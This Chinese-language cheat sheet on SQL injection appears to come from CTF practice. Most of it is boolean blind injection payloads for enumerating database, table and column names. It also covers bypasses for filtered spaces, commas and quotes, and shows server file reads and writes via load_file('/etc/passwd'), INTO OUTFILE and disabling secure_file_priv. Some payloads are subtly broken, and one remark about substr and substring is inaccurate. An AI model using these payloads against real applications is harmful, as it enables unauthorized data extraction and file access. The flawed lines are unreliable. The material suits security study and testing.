SQL注入的各种姿势

bool注入

主要用到substrlength等函数

substringsubstr

  • 在效果上没啥区别(一般来说)
  • substr是oracle的,substring是Mysql的

最简单的

123' or 1=1;#

过滤空格

123'/**/or/**/1=1;#

爆数据库名

123' or length(database())>0;#
123' or substr(database(),1,1)>'a';#
123' or length((select schema_name from information_schema.schemata limit 0,1))>0;#
123' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)>'a';#

爆表名

123' or length((select table_name from information_schema.tables where table_schema='xxx' limit 0,1))>0;#
123' or substr((select table_name from information_schema.tables where table_schema='xxx' limit 0,1),1,1)>'a';#
123' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0;#
123' or substr((select table_name from information_schema.tables where table_schema=database() limit 0,1))>0;#

爆列名

123' or length((select column_name from information_schema.columns where table_schema='xxx' and table_name='yyy' limit 0,1))>0;#
123' or substr((select column_name from information_schema.columns where table_schema='xxx' and table_name='yyy' limit 0,1),1,1)>'a';#

过滤逗号

0' or length((select flag from flag limit 1 offset 0))>0;#
123' or (select substr(database() from 1 for 1))>'a';#

过滤引号

123 or (select substring(database()) from 1 for 1)>chr(97);#

虚拟表

group by操作会建立虚拟表

mysql> select username,count(*) from users group by username;
+----------+----------+
| username | count(*) |
+----------+----------+
| aaadmin  |        1 |
| aadmin   |        1 |
| admin    |        1 |
| adminn   |        1 |
| adminnn  |        1 |
| klee     |        1 |
| test     |        1 |
+----------+----------+
7 rows in set (0.00 sec)

加上with rollup之后会多出来一行count统计

mysql> select username,count(*) from users group by username with rollup;
+----------+----------+
| username | count(*) |
+----------+----------+
| aaadmin  |        1 |
| aadmin   |        1 |
| admin    |        1 |
| adminn   |        1 |
| adminnn  |        1 |
| klee     |        1 |
| test     |        1 |
| NULL     |        7 |
+----------+----------+
8 rows in set (0.00 sec)

读写文件

mysql> select load_file('/etc/passwd');
+----------------------------------------------------+
| load_file('/etc/passwd')                           |
+----------------------------------------------------+
| NULL                                               |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select 'hello' into outfile '/tmp/a.txt';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

需要设置 secure_file_priv

mysql> select @@secure_file_priv;
+-----------------------+
| @@secure_file_priv    |
+-----------------------+
| /var/lib/mysql-files/ |
+-----------------------+
1 row in set (0.00 sec)

在 /etc/mysql/my.cnf 中可以设置 secure_file_priv 为空,表示不做限制

[mysqld]
secure_file_priv =

load data infileload data local infile

mysql> load data infile '/etc/passwd' into table test;
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> load data local infile '/etc/passwd' into table test;
ERROR 3948 (42000): Loading local data is disabled; this must be enabled on both the client and server sides

二者的区别在于

  • load data infile 读取的是mysqld(服务端)所在机器的文件
  • load data local infile 读取的是mysql客户端所在机器的文件